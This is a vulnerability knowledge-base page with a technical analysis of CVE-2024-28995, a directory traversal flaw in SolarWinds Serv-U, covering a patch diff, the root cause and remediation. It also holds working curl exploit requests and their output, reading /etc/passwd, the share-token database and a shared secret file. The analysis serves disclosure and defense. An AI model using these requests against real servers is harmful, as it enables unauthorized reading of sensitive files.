Very High
CVE-2024-28995
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-28995
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- solarwinds
Products
- serv-u,
- serv-u 15.4.2
Exploited in the Wild
- Vendor Advisory (https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/07/17/cisa-adds-three-known-exploited-vulnerabilities-catalog)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Overview
On June 5, 2024, SolarWinds published an advisory for CVE-2024-28995, a high-severity directory traversal vulnerability affecting their file transfer solution Serv-U. The vulnerability was discovered by researcher Hussein Daher of Web Immunify.
According to the vendor, the following versions of Serv-U are affected, running on either Windows or Linux:
- Serv-U FTP Server 15.4
- Serv-U Gateway 15.4
- Serv-U MFT Server 15.4
As per the vendor documentation, Serv-U version 15.3.2
and earlier will reach end of life in February 2025, and all versions below this have reached end of life and are unsupported.
Our analysis was conducted on a Windows Server 2022 system, running SolarWinds Serv-U File Server (64-bit) version 15.4.2.126
. We also confirmed exploitation against Serv-U File Server (64-bit) version 15.4.2.126
running on Linux. In both cases, all default installation options were used. When running Serv-U on either Windows or Linux, a new Serv-U File transfer and File Sharing “Domain” was created to reflect a real world deployment.
We have verified the vendor supplied hotfix 15.4.2 Hotfix 2
(version 15.4.2.157
) successfully remediates this vulnerability.
Analysis
The Serv-U application is largely a native code application written in what appears to be C++. The majority of the code is located in the Serv-U.dll
binary. We downloaded a vulnerable version of the application, version 15.4.2.126
, and the hotfix version 15.4.2.157
which contains the patch for CVE-2024-28995.
We analyzed both binaries with IDA Pro and then performed a binary diff using BinDiff. Looking at the BinDiff “function matches” results, we can see that only a single function has been modified in the hotfix.
Both versions of the modified function sub_18016DC30
, which has the same address in both binaries, can be decompiled and compared to get a better understanding of what has changed. Below is the full output of the functions changes.
diff --git a/func_vuln.c b/func_patched.c index a83d349..8a1bd0c 100644 --- a/func_vuln.c +++ b/func_patched.c @@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t * char v29; // bl __int64 v30; // rax __int64 v31; // rax - __int64 v32; // rax - void **v34; // [rsp+38h] [rbp-38h] BYREF - char v35[8]; // [rsp+40h] [rbp-30h] BYREF - void **v36; // [rsp+48h] [rbp-28h] BYREF - wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF - char v38[24]; // [rsp+58h] [rbp-18h] BYREF + void **v33; // [rsp+38h] [rbp-38h] BYREF + char v34[8]; // [rsp+40h] [rbp-30h] BYREF + void **v35; // [rsp+48h] [rbp-28h] BYREF + wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF + char v37[24]; // [rsp+58h] [rbp-18h] BYREF - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37); - v36 = &CRhinoString::`vftable'; - std::vector<void *>::_Orphan_range(&v36); - v36 = (void **)&CSUString::`vftable'; - std::vector<void *>::_Orphan_range(&v36); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36); + v35 = &CRhinoString::`vftable'; + std::vector<void *>::_Orphan_range(&v35); + v35 = (void **)&CSUString::`vftable'; + std::vector<void *>::_Orphan_range(&v35); PLH::VTableSwapHook::VTableSwapHook(this, v7, v8); - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") ) + if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") ) { Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, Manager); v10 = -1LL; do @@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t * while ( aWebClient_0[v10] ); LABEL_4: ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"Web Client", v10); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); -LABEL_46: - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34); - goto LABEL_47; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); + goto LABEL_48; } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") ) + if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") ) { - if ( a4 ) + if ( !a4 + || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4) + && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) ) { - if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4) - || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) ) - { - v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v12); - v13 = -1LL; - do - ++v13; - while ( aAdmin_1[v13] ); - ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, - qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), - L"Admin", - v13); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; - } + a3 = L"404NotFound.htm"; + v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( + &v33, + v14); + v10 = -1LL; + do + ++v10; + while ( aWebClient_0[v10] ); + goto LABEL_4; } - a3 = L"404NotFound.htm"; - v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v14); - v10 = -1LL; + &v33, + v12); + v13 = -1LL; do - ++v10; - while ( aWebClient_0[v10] ); - goto LABEL_4; + ++v13; + while ( aAdmin_1[v13] ); + ATL::CSimpleStringT<wchar_t,1>::Concatenate( + &v33, + qword_18046D5F8, + *((unsigned int *)qword_18046D5F8 - 4), + L"Admin", + v13); + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") ) + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") ) { v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, v15); v16 = -1LL; do ++v16; while ( aCommon_0[v16] ); ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"Common", v16); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") ) + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") ) { v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, v17); v18 = -1LL; do ++v18; while ( aFvjv_1[v18] ); ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"FVJV", v18); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 ) + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 ) { v19 = sub_180153E60(a4); v20 = (CDomainAttrs *)v19; @@ -146,98 +142,100 @@ LABEL_46: 0LL, 0LL, 0LL); - if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) ) + if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) ) { - v22 = (__int64)v36; + v22 = (__int64)v35; v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21); - (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23); + (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23); } } } - else + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 ) { - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 ) - { - v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v24); - v25 = -1LL; - do - ++v25; - while ( aSidecar_0[v25] ); - ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, - qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), - L"Sidecar", - v25); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; - } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 ) - { - v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v26); - v27 = -1LL; - do - ++v27; - while ( aDemo[v27] ); - ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, - qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), - L"Demo", - v27); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; - } - if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") ) - { - v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37); - ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32); - goto LABEL_46; - } - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35); - v34 = &CRhinoString::`vftable'; - std::vector<void *>::_Orphan_range(&v34); - v34 = (void **)&CSUString::`vftable'; - std::vector<void *>::_Orphan_range(&v34); - v28 = sub_1801A6BD4(&v34, v38); - v29 = sub_1801A7484(v28); - `std::locale::global'::`1'::dtor$2(v38); - CSUString::~CSUString((CSUString *)&v34); + v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( + &v33, + v24); + v25 = -1LL; + do + ++v25; + while ( aSidecar_0[v25] ); + ATL::CSimpleStringT<wchar_t,1>::Concatenate( + &v33, + qword_18046D5F8, + *((unsigned int *)qword_18046D5F8 - 4), + L"Sidecar", + v25); + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); + } + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 ) + { + v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( + &v33, + v26); + v27 = -1LL; + do + ++v27; + while ( aDemo[v27] ); + ATL::CSimpleStringT<wchar_t,1>::Concatenate( + &v33, + qword_18046D5F8, + *((unsigned int *)qword_18046D5F8 - 4), + L"Demo", + v27); + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); + } + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") ) + { + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34); + v33 = &CRhinoString::`vftable'; + std::vector<void *>::_Orphan_range(&v33); + v33 = (void **)&CSUString::`vftable'; + std::vector<void *>::_Orphan_range(&v33); + v28 = sub_1801A6C24(&v33, v37); + v29 = sub_1801A74D4(v28); + `std::locale::global'::`1'::dtor$2(v37); + CSUString::~CSUString((CSUString *)&v33); if ( !v29 ) { v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, v30); v31 = -1LL; do ++v31; while ( aWebclientnew[v31] ); ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"WebClientNew", v31); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } } -LABEL_47: - if ( !(unsigned __int8)sub_1801A7484(&v36) ) + else + { + CSUString::MakeDirSeparator((CSUString *)&v35); + if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) + CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8); + else + ATL::CSimpleStringT<wchar_t,1>::Empty(&v36); + } +LABEL_48: + if ( !(unsigned __int8)sub_1801A74D4(&v35) ) { (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3); CSUString::MakeDirSeparator(this); - CSUString::BuildLocalPath(this, v37); - if ( (unsigned int)sub_1801A69C8(this, L"\\..\\", 0LL) != -1 ) + CSUString::BuildLocalPath(this, v36); + if ( (unsigned int)sub_1801A6A18(this, L"\\..\\", 0LL) != -1 ) ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8); } - CSUString::~CSUString((CSUString *)&v36); + CSUString::~CSUString((CSUString *)&v35); return this; }
The modified function processes a file path. We can see the patched function has the addition of the following check.
else { CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8); else ATL::CSimpleStringT<wchar_t,1>::Empty(&v36); }
The path is checked to see if it contains a double dot path segment (\..\
), and if found the path will be cleared. Seeing the addition of a check like this in the patch is a strong indication that this function is the root cause of the directory traversal vulnerability.
When we investigate the usage of this vulnerable function, herein renamed to vulnerable_path_traversal_function
, we see a pattern emerge of how this function is used. For example:
get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir"); get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile"); v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);
In almost all uses of vulnerable_path_traversal_function
, two HTTP request parameters named InternalDir
and InternalFile
are retrieved before calling into the vulnerable function.
Could simply providing these two request parameters trigger the directory traversal vulnerability and read an arbitrary file? A quick curl command shows we are looking in the right place…
Note: The ampersand (&) was escaped with a caret (^), as curl was run on a Windows host for every example throughout this analysis.
curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax
The following file system access is captured by Procmon on the target server, and shows the path traversal vulnerability in operation.
We can now modify the request’s path to reach an arbitrary file on the target server we want to read. On Windows, the Serv-U program data is stored in the folder C:\ProgramData\RhinoSoft\Serv-U\
. In this folder, the file Serv-U-StartupLog.txt
contains the applications logging information emitted during application startup. This file will contain the target Serv-U server’s version number among other things. This is a good file candidate to read in order to verify the vulnerability.
Reworking our curl request, we can now read the C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt
file as shown below.
>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt HTTP/1.0 200 OK Server: Serv-U/15.4.2.126 Date: Tue, 11 Jun 2024 13:46:06 GMT Accept-Encoding: deflate X-Permitted-Cross-Domain-Policies: none Connection: close X-Frame-Options: sameorigin X-Same-Domain: 1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: text/plain Pragma: no-cache Cache-Control: no-cache,no-store,max-age=0,must-revalidate Expires: -1 Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; httponly Content-Length: 2119 [01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC. All rights reserved. [01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33 [01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200 [01] Tue 11Jun24 01:28:15 - Loaded graphics library. [01] Tue 11Jun24 01:28:15 - Loaded ODBC database library. [01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries. [01] Tue 11Jun24 01:28:15 - Loaded SQLite library. [01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF. [01] Tue 11Jun24 01:28:15 - Valid Server Identity found [01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized. [01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1 [01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1 [01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
Success! We can now traverse the operating system’s file system via double dot path notation and read any file (including binary files), so long as we know the file path we want to read from.
It is interesting to note that we targeted a Windows system, but were able to pass forward slash (/
) characters as the path separator in our HTTP request. On Windows, the backslash character (\
) is the path separator. This appears to be a key part of the vulnerability’s root cause. Investigating further, we discover that an attempt is made in the vulnerable function to detect path traversal by looking for a path segment \..\
in the attacker supplied path. However if we supply path segments separated by a forward slash, e.g. /../
, we can bypass this check. Later, in the function sub_180165B60
, before a call to wfopen_s
to actually open this file, a helper method is called which will replace all /
characters with the underlying operating systems native path separator \
. Therefore we can pass the check for a path traversal path segment by supplying a path that will initially be constructed as:
C:\Program Files\RhinoSoft\Serv-U\Client\/../../../../ProgramData/RhinoSoft/Serv-U/\Serv-U-StartupLog.txt
And then prior to being opened, the path will be transformed to:
C:\Program Files\RhinoSoft\Serv-U\Client\\..\..\..\..\ProgramData\RhinoSoft\Serv-U\\Serv-U-StartupLog.txt
Which is a valid path on Windows. On a Linux based target the technique is the same, however the path separators are reversed, so \
will be replaced with /
.
A default Windows installation will run the Serv-U service with NT AUTHORITY\NETWORK SERVICE
permissions. A default Linux installation will run the Serv-U service with root
permissions. The permissions of the running Serv-U service will impact the ability to read some files, should the Serv-U service not have sufficient permission to read that file. If the Serv-U service is running on Linux as root
for example, this will not be an issue.
Another interesting file to read would be C:\ProgramData\RhinoSoft\Serv-U\Shares\Serv-U.FileShares
. This is a SQLite3 database containing the ShareToken
of every file shared by Serv-U. The ShareToken
is a secret needed for an external party to read a shared file. However on Windows this file is locked, and attempting to read this file will not work. The call to kernelbase!CreateFileW
in the Serv-U.exe
process will return ERROR_SHARING_VIOLATION
.
When targeting a Linux based system, we can read an arbitrary file such as /etc/passwd
as shown below. Note that path separators must be backslashes (\
) and not forward slashes (/
).
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd HTTP/1.0 200 OK Server: Serv-U/15.4.2.126 Date: Tue, 11 Jun 2024 14:55:28 GMT Accept-Encoding: deflate X-Permitted-Cross-Domain-Policies: none Connection: close X-Frame-Options: sameorigin X-Same-Domain: 1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT Expires: -1 Cache-Control: must-revalidate, private Content-Length: 3017 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
While the SQLite database Serv-U.FileShares
is locked on Windows, we can successfully read this file on a Linux target, as shown below:
curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 61440 100 61440 0 0 1965k 0 --:--:-- --:--:-- --:--:-- 2000k
The resulting output will contain an HTTP response header that we must first strip out in order to leave only the desired file’s content. Then, using a tool like DB Browser for SQLite, we can read the database and discover every shared file on the target system.
Knowing the location of a shared file, as given in the FullPath
column of the ad_hoc_files
table, we can now read the shared file as follows:
Note the random directory name in the path (PzhW3v7W
in the example above), which we would not be able to guess without first reading the Serv-U.FileShares
database.
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\testdomain\7\PzhW3v7W^&InternalFile=secrets.txt HTTP/1.0 200 OK Server: Serv-U/15.4.2.126 Date: Tue, 11 Jun 2024 15:56:44 GMT Accept-Encoding: deflate X-Permitted-Cross-Domain-Policies: none Connection: close X-Frame-Options: sameorigin X-Same-Domain: 1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: text/plain Pragma: no-cache Cache-Control: no-cache,no-store,max-age=0,must-revalidate Expires: -1 Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; secure; httponly Content-Length: 18 THIS IS A SECRET!
Remediation
SolarWinds has released a hotfix 15.4.2 Hotfix 2
to remediate this issue. Serv-U customers are advised to apply this hotfix on an urgent basis.
Further information about the hotfix is available from the vendor here.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
